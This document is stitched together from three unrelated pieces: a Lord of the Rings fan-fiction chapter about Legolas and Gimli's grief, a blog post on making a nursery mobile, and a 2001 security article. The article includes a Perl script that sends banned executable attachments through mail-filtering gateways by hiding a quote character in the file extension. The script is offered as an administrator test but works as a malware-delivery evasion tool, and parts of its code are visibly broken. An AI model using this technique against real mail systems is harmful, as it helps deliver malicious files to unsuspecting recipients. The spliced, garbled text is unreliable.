There were few who noted the doings of one Dwarf and a single Elf, in a city brim-full with both mourning and making kings. Only one Guardsman vaguely remembered seeing Legolas walking the lower road near the gate. So Gimli followed. Passing from the city he trudged between the sleeping hedges and down a rutted lane, until at last he struck a path that swept up and through a small glade. There he turned aside, and followed the dim track upwards, until ash and beech raised their smooth boles and barren limbs to spread their thin lattice-work overhead. His steps were muted by the thick litter of moist grey leaves, as Spring had yet to raise the sap from drowsy roots.
After a time the brown, leafy path curved up one last slope, and the trees fell away, revealing a precipice that overlooked the mighty breast of the Anduin River. There a broad shoulder of stone stood forth high above the flood, a doorsill opening upon a vast sweep of space and misty distance. Out upon its brow rested a solitary person, Legolas, alone with the River and his thoughts. He sat with his knees drawn close, and as Gimli came near, he saw also the curved ends of Legolas' bow, which was held against his chest. Galadriel's bow, gifted in that other time during the darkening of the world, yet the cunning of Elven craftsmanship was such that it remained strong and swift, needing only ordinary care and the occasional new string.
Even at this height, the chill, moist breath of the River exhaled upon their faces, and the muffled rush of its voice teased their ears. Gimli stood silently for a time, looking outward across the bare-bristled tops of sleeping trees and on to the far, sun-dappled fields. Below them the Anduin shone like a broad band of silver, ere it curved from sight and away. A thin cry reached him, piercing and sad, and he saw white gulls beating inland above the water. Finally Legolas spoke, although without turning his head.
"We are all that's left, Gimli."
Gimli was not sure if Elves wept as others did, shedding tears that burned and tasted bitterly of salt on the lips. But the anguish written on his friend's fair face was clear as if an arrow stood forth from his chest.
"It would seem so," Gimli replied, and memory rushed upon him like a spill of heavy books.
Frodo the Ring Bearer had sought his peace and healing lo, these many decades past, and with him had gone Gandalf, their great counselor and friend. In the fullness of his days faithful Samwise, too, had sailed into the West. Elrond and Galadriel had long years since left their lands in the keeping of others, and even Celeborn had at last abandoned Lothlorien, to spend his waning days with the sons of Elrond in Rivendell. Gallant Eomer of Rohan had joined his forefathers over half a century ago. Merry and Pippin had found their final honor here in Gondor, resting at last among sleeping kings. Now the greatest of these had lain himself to sleep, and his beloved queen would flee into solitary exile, and the world was grown ever so much larger and full of echoes. Suddenly the roster of goodbyes weighed like a great stone upon his shoulders. Gimli bent his knees and sat heavily.
Whither Legolas' silent musings flew was an enigma, for they seemed to have little more direction than a flight of sparrows. His next words caught Gimli by surprise.
"Do you still carry the lady's favor, Lock-bearer?"
"I do." Gimli swatted his chest a solid blow, where truly was kept a golden tress of the Lady Galadriel's hair. "Next to my heart, along with the memory of her beauty, shining like white gems cast into a silver sky."
A smile turned the corners of Legolas' mouth, and the blush crept warmly into Gimli's cheeks. Even now remembrance of Lothlorien's Lady of the Wood had the power to move him, and to make him feel delightfully foolish upon recognizing it.
Then he let his hand drop, and sighed. Below them in the empty space of the River's airs, the gulls keened thinly once more. Legolas grew very still listening. A chill touched Gimli that had naught to do with the cool sun of early March. Nor was he warmed, when his friend spoke again.
"I was watching the river, when you came. This very rock we sit upon has stood since the breaking of the world, and all the while the Anduin flows to the Sea. Does the river grieve for what passes and does not come back? For neither I nor this stone can slow the ages, nor turn them aside. We can only endure, as all passes beyond us. Even the stones shall change, while the doom of the Elves is to continue. And now I am heir to even more sadness, for I must carry the Elfstone as proof that all the things we wrought are done, and with Men alone lies dominion of the world."
Alas, the art of the Dwarves lay in the skill of their hands, not their words, and so Gimli remained unhappily silent. The mercurial moods of Elves were often beyond his grasping, anyhow, and he only hoped that, as in other times, this melancholy would also pass. And in truth, Legolas again looked over his shoulder, and sunlight touched his eyes.
"You at least are my comfort, Gimli. If stone endures, so always has your stout heart."
"And my good sense. It is that damp and chilly, here, and I am hungry. Come with me back to the city, and we'll roust a fat cook from his laziness."
Legolas stirred, but then settled, and Gimli sighed. One did not slow an Elf when he was hasty, nor rush him when he was listless, and oft it was a trial to wait for either temper to pass.
"We'll leave tomorrow, I should think," Gimli said. "It's too late to begin travel today."
"Yes," Legolas answered.
The gulls cried once more, and his attention swept outward, seeking their flight. Bright and keen his eyes were, but whatever they saw was beyond the vision of Dwarves, and his profile fixed unerringly whence the River faded to westward. Disliking this mood upon his friend, Gimli sought to distract him with trifles.
"An early start, mind you. The days have been entirely too burdensome, and there is much I should attend to at home. Tonight, I wish a good meal, a good cup, and a good rest."
"I, too, wish rest," Legolas replied. "But I fear I shall not find it."
Then he sighed, ere his glance sought his friend once more. "Tomorrow's dawn, then," Legolas said. "I shall see you safely to your halls, and then I will see my own folk in Ithilien."
Still he sat, and Gimli was patient, and at least the infernal gulls had flown themselves off somewhere out of sight or hearing.
"I am weary, Gimli," Legolas said suddenly. "Weary with partings and farewells, until it seems the very world dies around me."
Towards the West he still faced, and his hands flexed upon Galadriel's bow. There the Anduin vanished in the land and the land vanished into haze, and beyond even Elven-sight rumbled the ceaseless billows of the Sea.
"I think," he said. "That I shall make but one last journey."
And Gimli knew, though it broke his heart as a frost shatters stone, that they faced one more farewell, and that the most grievous of all. But better this, Gimli's loyalty whispered, than to ask this dearest of comrades to linger until he stood over another grave. As Aragorn had asked, each must seek his own way to peace.
"Then we shall go together," he declared stoutly. "At least as far as the shore. I have never seen the Sea. I am told the waves break upon the very bones of the earth, and the oldest stones stand bare to see. Even the broken lands from the ancient battles of Melkor and the Valar, they say, lie thrust up from the floor of the deep waters. It will be something to tell the younger ones, when I get back."
Glancing sidelong at Legolas' pensive face, he added, "That is, if you wish company on the road."
"I wish your company," said Legolas softly. "On all roads."
Of a sudden he stood, unfolding from passiveness to full height in a flowing move that made Gimli's knees ache to watch. There seemed nothing to warrant this action, and indeed Legolas then closed his eyes for a long moment. Warily Gimli looked for gulls, but saw none.
Glancing up again, he now saw Legolas' eyes were open and his face abruptly set in fierce lines. A quick hand dipped for an arrow, and as swiftly he pressed the bow to full draw. Mouth tight, he held his aim on some point in infinity. Then with a snapping whir the arrow fled. It lifted in flight far out over the bare trees below, arcing slowly down and spiraling smaller until it was lost to any but perhaps Elven eyes. For an instant Legolas held his position in follow-through, then let the great bow sag in his hand.
Quietly he said, "I have loosed my last arrow on these shores."
(Continued in Chapter 3)


text:
Look! A DIY Modern Mobile
I love all of those modern mobiles available to purchase for nurseries. But they're more often than not so expensive! So we took matters into our own hands:
My husband laid out five modern shapes (four of them are icons - do you recognize them?) on a piece of 1/4" basswood and cut them out using a scroll saw. We tinted them in bright colors and finished them with wax so you could still see through to the wood grain. Each shape was paired with a red-tinted wooden ball. By wetting and clamping the wooden dowels on a curved form, we created slightly arced cross pieces and strung them together for a modern mobile of our own making.
And it was on the cheap! The wood was left over from architecture school from over a decade ago, the pastels and wax were only about $6 and the string was about $10.
Some tips for anyone wanting to make their own mobile:
- For the string, look for a fishing supply called spider wire. It's a very strong fishing line and it ties much better than your typical transparent fishing line. It's a bit pricey, but then again - it's what suspends the thing above your baby's head!
- To get everything balanced properly, start from the bottom of the mobile and work your way up.
Have you made your own mobile or have your eye on a cool modern one? Tell us about it in the comments below!


text:
Bypassing Content Filtering Software (Exploit)
As we reported in our previous article: Bypassing Content Filtering Software, flaws in several e-mail filtering products allow encoded emails that contain malicious attachments to bypass the filtering engines. The following is an exploit code that can be used by administrators to test their system for the mentioned vulnerabilities.
There are many ways you can get past mail filtering systems, because most of them will not emulate the exact behavior of the e-mail clients, especially if you have multiple clients. One of the most effective methods against Outlook/Outlook express is to just name the file
Outlook/OE will just take the quotes out of the filename before it's executed.
Of course, most filtering systems will scan the file and recognize it as an executable(PE) and disallow it (same goes for VBS/JS files etc, they usually look for very common VB or JS code) but it is pretty obvious that they do not recognize all executable content (Like .bat files?) (Alternatively, encoded data as mentioned in the advisory).
One other thing, Outlook/OE will sometimes give an attachment that has no name a name, depending on the content-type, mostly all non-dangerous types. I.e. if you have a wav attachment, but it has no filename (in the MIME headers) but it has a content-type: audio/x-wav it will name it ATT00xxx.wav. This will work with .hta files if you don't name them and give them content-type=application/hta
# attqt.pl 0.1 by Aidan O'Kelly July 2001
#Send banned attachments through SMTP gateways, this works because MS Outlook removes illegal
#charachters in filenames. So when you put an illegal char (such as ") in the extension. The Gateway will
#not recognize it as a dangerous attachment. But when the user on the other end opens it the illegal
#char will be removed.
# Feedback welcome. email@example.com
# This is known to work on MailMarshall and TrendMicro Scanmail. Others have not been tested but most are
# probably vunreable. If it works on any others, please mail me and let me know.
# This only puts in one quote after the dot (eg virus."vbs or virus."exe)
# Some gateways might still pick up on the vbs. you can put in more or different
# charachters like virus.%v"b********s if you feel like it.
# $filename =~ s/\./\.\"/g; is the line that changes it.
use Getopt::Std;
use MIME::Base64 qw(encode_base64);
use IO::Socket::INET;
if (!$opt_a || !$opt_f || !$opt_t || !$opt_h)
print "Usage: attqt.pl <-a attachment> <-t to> <-f from> <-h smtphost> [-s subject] [-b text]\n";
open(FILE, $opt_a) or die "$!";
binmode FILE;
while (read(FILE, $buf, 60*57)) {
$attachment = $attachment . encode_base64($buf);
$filename = $opt_a;
$filename =~ s/\./\.\"/g;
print "$filename\n";
$sock = IO::Socket::INET->new(PeerAddr => "$opt_h",PeerPort => '25', Proto => 'tcp');
unless (<$sock> =~ "220") { die "Not a SMTP Server?" }
print $sock "HELO you\r\n";
unless (<$sock> =~ "250") { die "HELO failed" }
print $sock "MAIL FROM:<>\r\n";
unless (<$sock> =~ "250") { die "MAIL FROM failed" }
print $sock "RCPT TO:<$opt_t>\r\n";
unless (<$sock> =~ "250") { die "RCPT TO failed" }
print $sock "DATA\r\n";
unless (<$sock> =~ "354") { die "DATA failed" }
print $sock "From: $opt_f\n";
print $sock "To: $opt_t\n";
print $sock "Subject: $opt_s\n";
print $sock "MIME-Version: 1.0
Content-Type: multipart/related;
This is a multi-part message in MIME format.
Content-Type: multipart/alternative;
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
print $sock "$opt_b\n";
print $sock "--NextPart20--
Content-Type: application/x-msdownload
Content-Disposition: attachment;filename=\"$filename\"
Content-Transfer-Encoding: base64\r\n\n";
print $sock $attachment;
print $sock "\r\n--NextPart19--\n.\n";
print "Finished sending data\n";
$a = <$sock>;
print "$a\n";
sourse: http://www.securiteam.com/exploits/5ZP0D2K6AY.html